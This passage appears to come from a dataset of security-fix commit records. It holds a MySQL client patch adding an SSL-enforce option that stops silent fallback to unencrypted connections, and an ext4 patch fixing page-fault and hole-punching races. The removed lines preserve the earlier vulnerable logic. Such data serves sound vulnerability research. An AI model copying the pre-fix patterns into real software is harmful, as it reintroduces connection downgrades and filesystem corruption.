);\n+ goto error;\n+ }\n+ }\n+\n+ /*\n+\n+ use_ssl=0 => Disable ssl and connect using unencrypted channel if server\n+ allows it\n+\n+ use_ssl=1, ssl_enforce=0 (default) => attempt ssl connection if possible but\n+ fallback on unencrypted connection if possible.\n+\n+ */\n+ if ((mysql->server_capabilities & CLIENT_SSL) && mysql->options.use_ssl)\n {\n /* Do the SSL layering. */\n struct st_mysql_options *options= &mysql->options;\n@@ -2856,6 +2898,11 @@ static int send_client_reply_packet(MCPVIO_EXT *mpvio,\n const char *cert_error;\n unsigned long ssl_error;\n \n+ if (!mysql->options.ssl_cipher)\n+ {\n+ SET_OPTION(ssl_cipher, default_ssl_cipher);\n+ }\n+\n /*\n Send mysql->client_flag, max_packet_size - unencrypted otherwise\n the server does not know we want to do SSL\n@@ -2918,6 +2965,7 @@ static int send_client_reply_packet(MCPVIO_EXT *mpvio,\n MYSQL_TRACE(SSL_CONNECTED, mysql, ());\n MYSQL_TRACE_STAGE(mysql, AUTHENTICATE);\n }\n+\n #endif /* HAVE_OPENSSL */\n \n DBUG_PRINT(\"info\",(\"Server version = '%s' capabilites: %lu status: %u client_flag: %lu\",\n@@ -4728,6 +4776,11 @@ mysql_options(MYSQL *mysql,enum mysql_option option, const void *arg)\n case MYSQL_OPT_SSL_CRLPATH: EXTENSION_SET_SSL_STRING(&mysql->options,\n ssl_crlpath, arg);\n break;\n+ case MYSQL_OPT_SSL_ENFORCE: ENSURE_EXTENSIONS_PRESENT(&mysql->options);\n+\t mysql->options.extension->ssl_enforce=\n+\t\t\t\t (*(my_bool *) arg) ? TRUE : FALSE;\n+ mysql->options.use_ssl= TRUE;\n+ break;\n case MYSQL_SERVER_PUBLIC_KEY:\n EXTENSION_SET_STRING(&mysql->options, server_public_key_path, arg);\n break;\n@@ -4788,6 +4841,187 @@ mysql_options(MYSQL *mysql,enum mysql_option option, const void *arg)\n }\n \n \n+/**\n+ Return the current values for the options settable through mysql_options()\n+\n+ Returns the current values for all of the connection options.\n+ Callers should not manipulate the returned data !\n+ Data are valid at the time of returning them until the next C API CALL\n+ arg should always be a pointer to a variable of the appropriate type.\n+ type of variable, based on the parameter:\n+\n+ uint\n+ MYSQL_OPT_CONNECT_TIMEOUT, MYSQL_OPT_READ_TIMEOUT, MYSQL_OPT_WRITE_TIMEOUT,\n+ MYSQL_OPT_PROTOCOL\n+\n+ my_bool\n+ MYSQL_OPT_COMPRESS, MYSQL_OPT_LOCAL_INFILE, MYSQL_OPT_USE_REMOTE_CONNECTION,\n+ MYSQL_OPT_USE_EMBEDDED_CONNECTION, MYSQL_OPT_GUESS_CONNECTION,\n+ MYSQL_SECURE_AUTH, MYSQL_REPORT_DATA_TRUNCATION, MYSQL_OPT_RECONNECT,\n+ MYSQL_OPT_SSL_VERIFY_SERVER_CERT, MYSQL_OPT_SSL_ENFORCE,\n+ MYSQL_ENABLE_CLEARTEXT_PLUGIN, MYSQL_OPT_CAN_HANDLE_EXPIRED_PASSWORDS\n+\n+ const char *\n+ MYSQL_READ_DEFAULT_FILE, MYSQL_READ_DEFAULT_GROUP,\n+ MYSQL_SET_CHARSET_DIR, MYSQL_SET_CHARSET_NAME, MYSQL_SHARED_MEMORY_BASE_NAME,\n+ MYSQL_SET_CLIENT_IP, MYSQL_OPT_BIND, MYSQL_PLUGIN_DIR, MYSQL_DEFAULT_AUTH,\n+ MYSQL_OPT_SSL_KEY, MYSQL_OPT_SSL_CERT, MYSQL_OPT_SSL_CA, MYSQL_OPT_SSL_CAPATH,\n+ MYSQL_OPT_SSL_CIPHER, MYSQL_OPT_SSL_CRL, MYSQL_OPT_SSL_CRLPATH,\n+ MYSQL_SERVER_PUBLIC_KEY\n+\n+ \n+ MYSQL_OPT_NAMED_PIPE, MYSQL_OPT_CONNECT_ATTR_RESET,\n+ MYSQL_OPT_CONNECT_ATTR_DELETE, MYSQL_INIT_COMMAND\n+\n+ @param mysql The MYSQL connection to operate on\n+ @param option The option to return the value for\n+ @param out arg Must be non-null. Receives the current value.\n+ @return status\n+ @retval 0 SUCCESS\n+*/\n+\n+int STDCALL\n+mysql_get_option(MYSQL *mysql, enum mysql_option option, const void *arg)\n+{\n+ DBUG_ENTER(\"mysql_option\");\n+ DBUG_PRINT(\"enter\", (\"option: %d\", (int)option));\n+\n+ if (!arg)\n+ DBUG_RETURN(1);\n+\n+ switch (option) {\n+ case MYSQL_OPT_CONNECT_TIMEOUT:\n+ *((uint *)arg) = mysql->options.connect_timeout;\n+ break;\n+ case MYSQL_OPT_READ_TIMEOUT:\n+ *((uint *)arg)= mysql->options.read_timeout;\n+ break;\n+ case MYSQL_OPT_WRITE_TIMEOUT:\n+ *((uint *)arg)= mysql->options.write_timeout;\n+ break;\n+ case MYSQL_OPT_COMPRESS:\n+ *((my_bool *)arg) = mysql->options.compress ? TRUE : FALSE;\n+ break;\n+ case MYSQL_OPT_LOCAL_INFILE:\t\t\t/* Allow LOAD DATA LOCAL ?*/\n+ *((uint *)arg)= (mysql->options.client_flag & CLIENT_LOCAL_FILES) ?\n+ TRUE : FALSE;\n+ break;\n+ case MYSQL_READ_DEFAULT_FILE:\n+ *((char **)arg)= mysql->options.my_cnf_file;\n+ break;\n+ case MYSQL_READ_DEFAULT_GROUP:\n+ *((char **)arg)= mysql->options.my_cnf_group;\n+ break;\n+ case MYSQL_SET_CHARSET_DIR:\n+ *((char **)arg)= mysql->options.charset_dir;\n+ break;\n+ case MYSQL_SET_CHARSET_NAME:\n+ *((char **)arg)= mysql->options.charset_name;\n+ break;\n+ case MYSQL_OPT_PROTOCOL:\n+ *((uint *)arg)= mysql->options.protocol;\n+ break;\n+ case MYSQL_SHARED_MEMORY_BASE_NAME:\n+#if defined (_WIN32) && !defined (EMBEDDED_LIBRARY)\n+ *((char **)arg)= mysql->options.shared_memory_base_name;\n+#else\n+ *((const char **)arg)= \"\";\n+#endif\n+ break;\n+ case MYSQL_OPT_USE_REMOTE_CONNECTION:\n+ *((my_bool *)arg)=\n+ (mysql->options.methods_to_use == MYSQL_OPT_USE_REMOTE_CONNECTION) ?\n+ TRUE : FALSE;\n+ break;\n+ case MYSQL_OPT_USE_EMBEDDED_CONNECTION:\n+ *((my_bool *)arg) =\n+ (mysql->options.methods_to_use == MYSQL_OPT_USE_EMBEDDED_CONNECTION) ?\n+ TRUE : FALSE;\n+ break;\n+ case MYSQL_OPT_GUESS_CONNECTION:\n+ *((my_bool *)arg) =\n+ (mysql->options.methods_to_use == MYSQL_OPT_GUESS_CONNECTION) ?\n+ TRUE : FALSE;\n+ break;\n+ case MYSQL_SET_CLIENT_IP:\n+ *((char **)arg) = mysql->options.ci.client_ip;\n+ break;\n+ case MYSQL_SECURE_AUTH:\n+ *((my_bool *)arg)= mysql->options.secure_auth;\n+ break;\n+ case MYSQL_REPORT_DATA_TRUNCATION:\n+ *((my_bool *)arg)= mysql->options.report_data_truncation;\n+ break;\n+ case MYSQL_OPT_RECONNECT:\n+ *((my_bool *)arg)= mysql->reconnect;\n+ break;\n+ case MYSQL_OPT_BIND:\n+ *((char **)arg)= mysql->options.ci.bind_address;\n+ break;\n+ case MYSQL_OPT_SSL_VERIFY_SERVER_CERT:\n+ *((my_bool *)arg) = (mysql->options.client_flag &\n+ CLIENT_SSL_VERIFY_SERVER_CERT) ? TRUE : FALSE;\n+ break;\n+ case MYSQL_PLUGIN_DIR:\n+ *((char **)arg)= mysql->options.extension ?\n+ mysql->options.extension->plugin_dir : NULL;\n+ break;\n+ case MYSQL_DEFAULT_AUTH:\n+ *((char **)arg)= mysql->options.extension ?\n+ mysql->options.extension->default_auth : NULL;\n+ break;\n+ case MYSQL_OPT_SSL_KEY:\n+ *((char **)arg)= mysql->options.ssl_key;\n+ break;\n+ case MYSQL_OPT_SSL_CERT:\n+ *((char **)arg)= mysql->options.ssl_cert;\n+ break;\n+ case MYSQL_OPT_SSL_CA:\n+ *((char **)arg)= mysql->options.ssl_ca;\n+ break;\n+ case MYSQL_OPT_SSL_CAPATH:\n+ *((char **)arg)= mysql->options.ssl_capath;\n+ break;\n+ case MYSQL_OPT_SSL_CIPHER:\n+ *((char **)arg)= mysql->options.ssl_cipher;\n+ break;\n+ case MYSQL_OPT_SSL_CRL:\n+ *((char **)arg)= mysql->options.extension ?\n+ mysql->options.extension->ssl_crl : NULL;\n+ break;\n+ case MYSQL_OPT_SSL_CRLPATH:\n+ *((char **)arg)= mysql->options.extension ?\n+ mysql->options.extension->ssl_crlpath : NULL;\n+ break;\n+ case MYSQL_OPT_SSL_ENFORCE:\n+ *((my_bool *)arg)= (mysql->options.extension &&\n+ mysql->options.extension->ssl_enforce) ? TRUE : FALSE;\n+ break;\n+ case MYSQL_SERVER_PUBLIC_KEY:\n+ *((char **)arg)= mysql->options.extension ?\n+ mysql->options.extension->server_public_key_path : NULL;\n+ break;\n+ case MYSQL_ENABLE_CLEARTEXT_PLUGIN:\n+ *((my_bool *)arg)= (mysql->options.extension &&\n+ mysql->options.extension->enable_cleartext_plugin) ?\n+\t\t\tTRUE : FALSE;\n+ break;\n+ case MYSQL_OPT_CAN_HANDLE_EXPIRED_PASSWORDS:\n+ *((my_bool*)arg)= (mysql->options.client_flag &\n+ CLIENT_CAN_HANDLE_EXPIRED_PASSWORDS) ? TRUE : FALSE;\n+ break;\n+\n+ case MYSQL_OPT_NAMED_PIPE:\t\t\t/* This option is depricated */\n+ case MYSQL_INIT_COMMAND: /* Cumulative */\n+ case MYSQL_OPT_CONNECT_ATTR_RESET: /* Cumulative */\n+ case MYSQL_OPT_CONNECT_ATTR_DELETE: /* Cumulative */\n+ default:\n+ DBUG_RETURN(1);\n+ }\n+ DBUG_RETURN(0);\n+}\n+\n+\n /**\n A function to return the key from a connection attribute\n */", "sections": [{"section": "@@ -145,6 +145,7 @@ void init_client_psi_keys(void)\n \n #endif /* HAVE_PSI_INTERFACE */\n \n+const char *default_ssl_cipher= \"DHE-RSA-AES256-SHA\";\n uint\t\tmysql_port=0;\n char\t\t*mysql_unix_port= 0;\n const char\t*unknown_sqlstate= \"HY000\";\n", "related": false}, {"section": "@@ -1248,19 +1249,28 @@ static int add_init_command(struct st_mysql_options *options, const char *cmd)\n (STR), MYF(MY_WME)) : NULL; \\\n } while (0)\n \n-#if defined(HAVE_OPENSSL) && !defined(EMBEDDED_LIBRARY)\n-#define SET_SSL_OPTION(opt_var,arg) \\\n+#define SET_OPTION(opt_var,arg) \\\n+ do { \\\n if (mysql->options.opt_var) \\\n my_free(mysql->options.opt_var); \\\n- mysql->options.opt_var= arg ? my_strdup(key_memory_mysql_options, arg, MYF(MY_WME)) : NULL; \\\n+ mysql->options.opt_var = arg ? my_strdup(key_memory_mysql_options, arg, MYF(MY_WME)) : NULL; \\\n+ } while (0)\n+\n+\n+#if defined(HAVE_OPENSSL) && !defined(EMBEDDED_LIBRARY)\n+#define SET_SSL_OPTION(opt_var,arg) \\\n+ do { \\\n+ SET_OPTION(opt_var, arg); \\\n if (mysql->options.opt_var) \\\n- mysql->options.use_ssl= 1\n+ mysql->options.use_ssl = TRUE; \\\n+ } while (0)\n+\n #define EXTENSION_SET_SSL_STRING(OPTS, X, STR) \\\n+ do { \\\n EXTENSION_SET_STRING(OPTS, X, STR); \\\n if ((OPTS)->extension->X) \\\n- (OPTS)->use_ssl= 1\n- \n- \n+ (OPTS)->use_ssl = TRUE; \\\n+ } while (0)\n #else\n #define SET_SSL_OPTION(opt_var,arg) \\\n do { \\\n", "related": false}, {"section": "@@ -2808,14 +2818,16 @@ static int send_client_reply_packet(MCPVIO_EXT *mpvio,\n mysql->client_flag|= CLIENT_MULTI_RESULTS;\n \n #if defined(HAVE_OPENSSL) && !defined(EMBEDDED_LIBRARY)\n+ /* consider SSL if any of the SSL mysql_options() is issued */\n if (mysql->options.ssl_key || mysql->options.ssl_cert ||\n mysql->options.ssl_ca || mysql->options.ssl_capath ||\n mysql->options.ssl_cipher ||\n- (mysql->options.extension && mysql->options.extension->ssl_crl) || \n- (mysql->options.extension && mysql->options.extension->ssl_crlpath))\n- mysql->options.use_ssl= 1;\n+ (mysql->options.extension && mysql->options.extension->ssl_crl) ||\n+ (mysql->options.extension && mysql->options.extension->ssl_crlpath) ||\n+ (mysql->options.extension && mysql->options.extension->ssl_enforce))\n+ mysql->options.use_ssl = TRUE;\n if (mysql->options.use_ssl)\n- mysql->client_flag|= CLIENT_SSL;\n+ mysql->client_flag |= CLIENT_SSL;\n #endif /* HAVE_OPENSSL && !EMBEDDED_LIBRARY*/\n if (mpvio->db)\n mysql->client_flag|= CLIENT_CONNECT_WITH_DB;\n", "related": false}, {"section": "@@ -2847,7 +2859,37 @@ static int send_client_reply_packet(MCPVIO_EXT *mpvio,\n end= buff+5;\n }\n #ifdef HAVE_OPENSSL\n- if (mysql->client_flag & CLIENT_SSL)\n+\n+ if (mysql->options.extension && mysql->options.extension->ssl_enforce)\n+ {\n+ /*\n+ ssl_enforce=1 means enforce ssl\n+ Don't fallback on unencrypted connection.\n+ */\n+ /* can't turn enforce on without turning on use_ssl too */\n+ DBUG_ASSERT(mysql->options.use_ssl);\n+ /* enforce=true takes precendence over use=false */\n+ if (!(mysql->server_capabilities & CLIENT_SSL))\n+ {\n+ set_mysql_extended_error(mysql, CR_SSL_CONNECTION_ERROR, unknown_sqlstate,\n+ ER(CR_SSL_CONNECTION_ERROR),\n+ \"SSL is required but the server doesn't \"\n+ \"support it\"\n+ );\n+ goto error;\n+ }\n+ }\n+\n+ /*\n+\n+ use_ssl=0 => Disable ssl and connect using unencrypted channel if server\n+ allows it\n+\n+ use_ssl=1, ssl_enforce=0 (default) => attempt ssl connection if possible but\n+ fallback on unencrypted connection if possible.\n+\n+ */\n+ if ((mysql->server_capabilities & CLIENT_SSL) && mysql->options.use_ssl)\n {\n /* Do the SSL layering. */\n struct st_mysql_options *options= &mysql->options;\n", "related": false}, {"section": "@@ -2856,6 +2898,11 @@ static int send_client_reply_packet(MCPVIO_EXT *mpvio,\n const char *cert_error;\n unsigned long ssl_error;\n \n+ if (!mysql->options.ssl_cipher)\n+ {\n+ SET_OPTION(ssl_cipher, default_ssl_cipher);\n+ }\n+\n /*\n Send mysql->client_flag, max_packet_size - unencrypted otherwise\n the server does not know we want to do SSL\n", "related": false}, {"section": "@@ -2918,6 +2965,7 @@ static int send_client_reply_packet(MCPVIO_EXT *mpvio,\n MYSQL_TRACE(SSL_CONNECTED, mysql, ());\n MYSQL_TRACE_STAGE(mysql, AUTHENTICATE);\n }\n+\n #endif /* HAVE_OPENSSL */\n \n DBUG_PRINT(\"info\",(\"Server version = '%s' capabilites: %lu status: %u client_flag: %lu\",\n", "related": false}, {"section": "@@ -4728,6 +4776,11 @@ mysql_options(MYSQL *mysql,enum mysql_option option, const void *arg)\n case MYSQL_OPT_SSL_CRLPATH: EXTENSION_SET_SSL_STRING(&mysql->options,\n ssl_crlpath, arg);\n break;\n+ case MYSQL_OPT_SSL_ENFORCE: ENSURE_EXTENSIONS_PRESENT(&mysql->options);\n+\t mysql->options.extension->ssl_enforce=\n+\t\t\t\t (*(my_bool *) arg) ? TRUE : FALSE;\n+ mysql->options.use_ssl= TRUE;\n+ break;\n case MYSQL_SERVER_PUBLIC_KEY:\n EXTENSION_SET_STRING(&mysql->options, server_public_key_path, arg);\n break;\n", "related": false}, {"section": "@@ -4788,6 +4841,187 @@ mysql_options(MYSQL *mysql,enum mysql_option option, const void *arg)\n }\n \n \n+/**\n+ Return the current values for the options settable through mysql_options()\n+\n+ Returns the current values for all of the connection options.\n+ Callers should not manipulate the returned data !\n+ Data are valid at the time of returning them until the next C API CALL\n+ arg should always be a pointer to a variable of the appropriate type.\n+ type of variable, based on the parameter:\n+\n+ uint\n+ MYSQL_OPT_CONNECT_TIMEOUT, MYSQL_OPT_READ_TIMEOUT, MYSQL_OPT_WRITE_TIMEOUT,\n+ MYSQL_OPT_PROTOCOL\n+\n+ my_bool\n+ MYSQL_OPT_COMPRESS, MYSQL_OPT_LOCAL_INFILE, MYSQL_OPT_USE_REMOTE_CONNECTION,\n+ MYSQL_OPT_USE_EMBEDDED_CONNECTION, MYSQL_OPT_GUESS_CONNECTION,\n+ MYSQL_SECURE_AUTH, MYSQL_REPORT_DATA_TRUNCATION, MYSQL_OPT_RECONNECT,\n+ MYSQL_OPT_SSL_VERIFY_SERVER_CERT, MYSQL_OPT_SSL_ENFORCE,\n+ MYSQL_ENABLE_CLEARTEXT_PLUGIN, MYSQL_OPT_CAN_HANDLE_EXPIRED_PASSWORDS\n+\n+ const char *\n+ MYSQL_READ_DEFAULT_FILE, MYSQL_READ_DEFAULT_GROUP,\n+ MYSQL_SET_CHARSET_DIR, MYSQL_SET_CHARSET_NAME, MYSQL_SHARED_MEMORY_BASE_NAME,\n+ MYSQL_SET_CLIENT_IP, MYSQL_OPT_BIND, MYSQL_PLUGIN_DIR, MYSQL_DEFAULT_AUTH,\n+ MYSQL_OPT_SSL_KEY, MYSQL_OPT_SSL_CERT, MYSQL_OPT_SSL_CA, MYSQL_OPT_SSL_CAPATH,\n+ MYSQL_OPT_SSL_CIPHER, MYSQL_OPT_SSL_CRL, MYSQL_OPT_SSL_CRLPATH,\n+ MYSQL_SERVER_PUBLIC_KEY\n+\n+ \n+ MYSQL_OPT_NAMED_PIPE, MYSQL_OPT_CONNECT_ATTR_RESET,\n+ MYSQL_OPT_CONNECT_ATTR_DELETE, MYSQL_INIT_COMMAND\n+\n+ @param mysql The MYSQL connection to operate on\n+ @param option The option to return the value for\n+ @param out arg Must be non-null. Receives the current value.\n+ @return status\n+ @retval 0 SUCCESS\n+*/\n+\n+int STDCALL\n+mysql_get_option(MYSQL *mysql, enum mysql_option option, const void *arg)\n+{\n+ DBUG_ENTER(\"mysql_option\");\n+ DBUG_PRINT(\"enter\", (\"option: %d\", (int)option));\n+\n+ if (!arg)\n+ DBUG_RETURN(1);\n+\n+ switch (option) {\n+ case MYSQL_OPT_CONNECT_TIMEOUT:\n+ *((uint *)arg) = mysql->options.connect_timeout;\n+ break;\n+ case MYSQL_OPT_READ_TIMEOUT:\n+ *((uint *)arg)= mysql->options.read_timeout;\n+ break;\n+ case MYSQL_OPT_WRITE_TIMEOUT:\n+ *((uint *)arg)= mysql->options.write_timeout;\n+ break;\n+ case MYSQL_OPT_COMPRESS:\n+ *((my_bool *)arg) = mysql->options.compress ? TRUE : FALSE;\n+ break;\n+ case MYSQL_OPT_LOCAL_INFILE:\t\t\t/* Allow LOAD DATA LOCAL ?*/\n+ *((uint *)arg)= (mysql->options.client_flag & CLIENT_LOCAL_FILES) ?\n+ TRUE : FALSE;\n+ break;\n+ case MYSQL_READ_DEFAULT_FILE:\n+ *((char **)arg)= mysql->options.my_cnf_file;\n+ break;\n+ case MYSQL_READ_DEFAULT_GROUP:\n+ *((char **)arg)= mysql->options.my_cnf_group;\n+ break;\n+ case MYSQL_SET_CHARSET_DIR:\n+ *((char **)arg)= mysql->options.charset_dir;\n+ break;\n+ case MYSQL_SET_CHARSET_NAME:\n+ *((char **)arg)= mysql->options.charset_name;\n+ break;\n+ case MYSQL_OPT_PROTOCOL:\n+ *((uint *)arg)= mysql->options.protocol;\n+ break;\n+ case MYSQL_SHARED_MEMORY_BASE_NAME:\n+#if defined (_WIN32) && !defined (EMBEDDED_LIBRARY)\n+ *((char **)arg)= mysql->options.shared_memory_base_name;\n+#else\n+ *((const char **)arg)= \"\";\n+#endif\n+ break;\n+ case MYSQL_OPT_USE_REMOTE_CONNECTION:\n+ *((my_bool *)arg)=\n+ (mysql->options.methods_to_use == MYSQL_OPT_USE_REMOTE_CONNECTION) ?\n+ TRUE : FALSE;\n+ break;\n+ case MYSQL_OPT_USE_EMBEDDED_CONNECTION:\n+ *((my_bool *)arg) =\n+ (mysql->options.methods_to_use == MYSQL_OPT_USE_EMBEDDED_CONNECTION) ?\n+ TRUE : FALSE;\n+ break;\n+ case MYSQL_OPT_GUESS_CONNECTION:\n+ *((my_bool *)arg) =\n+ (mysql->options.methods_to_use == MYSQL_OPT_GUESS_CONNECTION) ?\n+ TRUE : FALSE;\n+ break;\n+ case MYSQL_SET_CLIENT_IP:\n+ *((char **)arg) = mysql->options.ci.client_ip;\n+ break;\n+ case MYSQL_SECURE_AUTH:\n+ *((my_bool *)arg)= mysql->options.secure_auth;\n+ break;\n+ case MYSQL_REPORT_DATA_TRUNCATION:\n+ *((my_bool *)arg)= mysql->options.report_data_truncation;\n+ break;\n+ case MYSQL_OPT_RECONNECT:\n+ *((my_bool *)arg)= mysql->reconnect;\n+ break;\n+ case MYSQL_OPT_BIND:\n+ *((char **)arg)= mysql->options.ci.bind_address;\n+ break;\n+ case MYSQL_OPT_SSL_VERIFY_SERVER_CERT:\n+ *((my_bool *)arg) = (mysql->options.client_flag &\n+ CLIENT_SSL_VERIFY_SERVER_CERT) ? TRUE : FALSE;\n+ break;\n+ case MYSQL_PLUGIN_DIR:\n+ *((char **)arg)= mysql->options.extension ?\n+ mysql->options.extension->plugin_dir : NULL;\n+ break;\n+ case MYSQL_DEFAULT_AUTH:\n+ *((char **)arg)= mysql->options.extension ?\n+ mysql->options.extension->default_auth : NULL;\n+ break;\n+ case MYSQL_OPT_SSL_KEY:\n+ *((char **)arg)= mysql->options.ssl_key;\n+ break;\n+ case MYSQL_OPT_SSL_CERT:\n+ *((char **)arg)= mysql->options.ssl_cert;\n+ break;\n+ case MYSQL_OPT_SSL_CA:\n+ *((char **)arg)= mysql->options.ssl_ca;\n+ break;\n+ case MYSQL_OPT_SSL_CAPATH:\n+ *((char **)arg)= mysql->options.ssl_capath;\n+ break;\n+ case MYSQL_OPT_SSL_CIPHER:\n+ *((char **)arg)= mysql->options.ssl_cipher;\n+ break;\n+ case MYSQL_OPT_SSL_CRL:\n+ *((char **)arg)= mysql->options.extension ?\n+ mysql->options.extension->ssl_crl : NULL;\n+ break;\n+ case MYSQL_OPT_SSL_CRLPATH:\n+ *((char **)arg)= mysql->options.extension ?\n+ mysql->options.extension->ssl_crlpath : NULL;\n+ break;\n+ case MYSQL_OPT_SSL_ENFORCE:\n+ *((my_bool *)arg)= (mysql->options.extension &&\n+ mysql->options.extension->ssl_enforce) ? TRUE : FALSE;\n+ break;\n+ case MYSQL_SERVER_PUBLIC_KEY:\n+ *((char **)arg)= mysql->options.extension ?\n+ mysql->options.extension->server_public_key_path : NULL;\n+ break;\n+ case MYSQL_ENABLE_CLEARTEXT_PLUGIN:\n+ *((my_bool *)arg)= (mysql->options.extension &&\n+ mysql->options.extension->enable_cleartext_plugin) ?\n+\t\t\tTRUE : FALSE;\n+ break;\n+ case MYSQL_OPT_CAN_HANDLE_EXPIRED_PASSWORDS:\n+ *((my_bool*)arg)= (mysql->options.client_flag &\n+ CLIENT_CAN_HANDLE_EXPIRED_PASSWORDS) ? TRUE : FALSE;\n+ break;\n+\n+ case MYSQL_OPT_NAMED_PIPE:\t\t\t/* This option is depricated */\n+ case MYSQL_INIT_COMMAND: /* Cumulative */\n+ case MYSQL_OPT_CONNECT_ATTR_RESET: /* Cumulative */\n+ case MYSQL_OPT_CONNECT_ATTR_DELETE: /* Cumulative */\n+ default:\n+ DBUG_RETURN(1);\n+ }\n+ DBUG_RETURN(0);\n+}\n+\n+\n /**\n A function to return the key from a connection attribute\n */", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "fs/ext4/file.c", "commit_id": "ea3d7209ca01da209cda6f0dea8be9cc4b7a933b", "commit_message": "ext4: fix races between page faults and hole punching\n\nCurrently, page faults and hole punching are completely unsynchronized.\nThis can result in page fault faulting in a page into a range that we\nare punching after truncate_pagecache_range() has been called and thus\nwe can end up with a page mapped to disk blocks that will be shortly\nfreed. Filesystem corruption will shortly follow. Note that the same\nrace is avoided for truncate by checking page fault offset against\ni_size but there isn't similar mechanism available for punching holes.\n\nFix the problem by creating new rw semaphore i_mmap_sem in inode and\ngrab it for writing over truncate, hole punching, and other functions\nremoving blocks from extent tree and for read over page faults. We\ncannot easily use i_data_sem for this since that ranks below transaction\nstart and we need something ranking above it so that it can be held over\nthe whole truncate / hole punching operation. Also remove various\nworkarounds we had in the code to reduce race window when page fault\ncould have created pages with stale mapping information.\n\nSigned-off-by: Jan Kara \nSigned-off-by: Theodore Ts'o ", "patch": "@@ -209,15 +209,18 @@ static int ext4_dax_fault(struct vm_area_struct *vma, struct vm_fault *vmf)\n {\n \tint result;\n \thandle_t *handle = NULL;\n-\tstruct super_block *sb = file_inode(vma->vm_file)->i_sb;\n+\tstruct inode *inode = file_inode(vma->vm_file);\n+\tstruct super_block *sb = inode->i_sb;\n \tbool write = vmf->flags & FAULT_FLAG_WRITE;\n \n \tif (write) {\n \t\tsb_start_pagefault(sb);\n \t\tfile_update_time(vma->vm_file);\n+\t\tdown_read(&EXT4_I(inode)->i_mmap_sem);\n \t\thandle = ext4_journal_start_sb(sb, EXT4_HT_WRITE_PAGE,\n \t\t\t\t\t\tEXT4_DATA_TRANS_BLOCKS(sb));\n-\t}\n+\t} else\n+\t\tdown_read(&EXT4_I(inode)->i_mmap_sem);\n \n \tif (IS_ERR(handle))\n \t\tresult = VM_FAULT_SIGBUS;\n@@ -228,8 +231,10 @@ static int ext4_dax_fault(struct vm_area_struct *vma, struct vm_fault *vmf)\n \tif (write) {\n \t\tif (!IS_ERR(handle))\n \t\t\text4_journal_stop(handle);\n+\t\tup_read(&EXT4_I(inode)->i_mmap_sem);\n \t\tsb_end_pagefault(sb);\n-\t}\n+\t} else\n+\t\tup_read(&EXT4_I(inode)->i_mmap_sem);\n \n \treturn result;\n }\n@@ -246,10 +251,12 @@ static int ext4_dax_pmd_fault(struct vm_area_struct *vma, unsigned long addr,\n \tif (write) {\n \t\tsb_start_pagefault(sb);\n \t\tfile_update_time(vma->vm_file);\n+\t\tdown_read(&EXT4_I(inode)->i_mmap_sem);\n \t\thandle = ext4_journal_start_sb(sb, EXT4_HT_WRITE_PAGE,\n \t\t\t\text4_chunk_trans_blocks(inode,\n \t\t\t\t\t\t\tPMD_SIZE / PAGE_SIZE));\n-\t}\n+\t} else\n+\t\tdown_read(&EXT4_I(inode)->i_mmap_sem);\n \n \tif (IS_ERR(handle))\n \t\tresult = VM_FAULT_SIGBUS;\n@@ -260,30 +267,71 @@ static int ext4_dax_pmd_fault(struct vm_area_struct *vma, unsigned long addr,\n \tif (write) {\n \t\tif (!IS_ERR(handle))\n \t\t\text4_journal_stop(handle);\n+\t\tup_read(&EXT4_I(inode)->i_mmap_sem);\n \t\tsb_end_pagefault(sb);\n-\t}\n+\t} else\n+\t\tup_read(&EXT4_I(inode)->i_mmap_sem);\n \n \treturn result;\n }\n \n static int ext4_dax_mkwrite(struct vm_area_struct *vma, struct vm_fault *vmf)\n {\n-\treturn dax_mkwrite(vma, vmf, ext4_get_block_dax,\n-\t\t\t\text4_end_io_unwritten);\n+\tint err;\n+\tstruct inode *inode = file_inode(vma->vm_file);\n+\n+\tsb_start_pagefault(inode->i_sb);\n+\tfile_update_time(vma->vm_file);\n+\tdown_read(&EXT4_I(inode)->i_mmap_sem);\n+\terr = __dax_mkwrite(vma, vmf, ext4_get_block_dax,\n+\t\t\t ext4_end_io_unwritten);\n+\tup_read(&EXT4_I(inode)->i_mmap_sem);\n+\tsb_end_pagefault(inode->i_sb);\n+\n+\treturn err;\n+}\n+\n+/*\n+ * Handle write fault for VM_MIXEDMAP mappings. Similarly to ext4_dax_mkwrite()\n+ * handler we check for races agaist truncate. Note that since we cycle through\n+ * i_mmap_sem, we are sure that also any hole punching that began before we\n+ * were called is finished by now and so if it included part of the file we\n+ * are working on, our pte will get unmapped and the check for pte_same() in\n+ * wp_pfn_shared() fails. Thus fault gets retried and things work out as\n+ * desired.\n+ */\n+static int ext4_dax_pfn_mkwrite(struct vm_area_struct *vma,\n+\t\t\t\tstruct vm_fault *vmf)\n+{\n+\tstruct inode *inode = file_inode(vma->vm_file);\n+\tstruct super_block *sb = inode->i_sb;\n+\tint ret = VM_FAULT_NOPAGE;\n+\tloff_t size;\n+\n+\tsb_start_pagefault(sb);\n+\tfile_update_time(vma->vm_file);\n+\tdown_read(&EXT4_I(inode)->i_mmap_sem);\n+\tsize = (i_size_read(inode) + PAGE_SIZE - 1) >> PAGE_SHIFT;\n+\tif (vmf->pgoff >= size)\n+\t\tret = VM_FAULT_SIGBUS;\n+\tup_read(&EXT4_I(inode)->i_mmap_sem);\n+\tsb_end_pagefault(sb);\n+\n+\treturn ret;\n }\n \n static const struct vm_operations_struct ext4_dax_vm_ops = {\n \t.fault\t\t= ext4_dax_fault,\n \t.pmd_fault\t= ext4_dax_pmd_fault,\n \t.page_mkwrite\t= ext4_dax_mkwrite,\n-\t.pfn_mkwrite\t= dax_pfn_mkwrite,\n+\t.pfn_mkwrite\t= ext4_dax_pfn_mkwrite,\n };\n #else\n #define ext4_dax_vm_ops\text4_file_vm_ops\n #endif\n \n static const struct vm_operations_struct ext4_file_vm_ops = {\n-\t.fault\t\t= filemap_fault,\n+\t.fault\t\t= ext4_filemap_fault,\n \t.map_pages\t= filemap_map_pages,\n \t.page_mkwrite = ext4_page_mkwrite,\n };", "sections": [{"section": "@@ -209,15 +209,18 @@ static int ext4_dax_fault(struct vm_area_struct *vma, struct vm_fault *vmf)\n {\n \tint result;\n \thandle_t *handle = NULL;\n-\tstruct super_block *sb = file_inode(vma->vm_file)->i_sb;\n+\tstruct inode *inode = file_inode(vma->vm_file);\n+\tstruct super_block *sb = inode->i_sb;\n \tbool write = vmf->flags & FAULT_FLAG_WRITE;\n \n \tif (write) {\n \t\tsb_start_pagefault(sb);\n \t\tfile_update_time(vma->vm_file);\n+\t\tdown_read(&EXT4_I(inode)->i_mmap_sem);\n \t\thandle = ext4_journal_start_sb(sb, 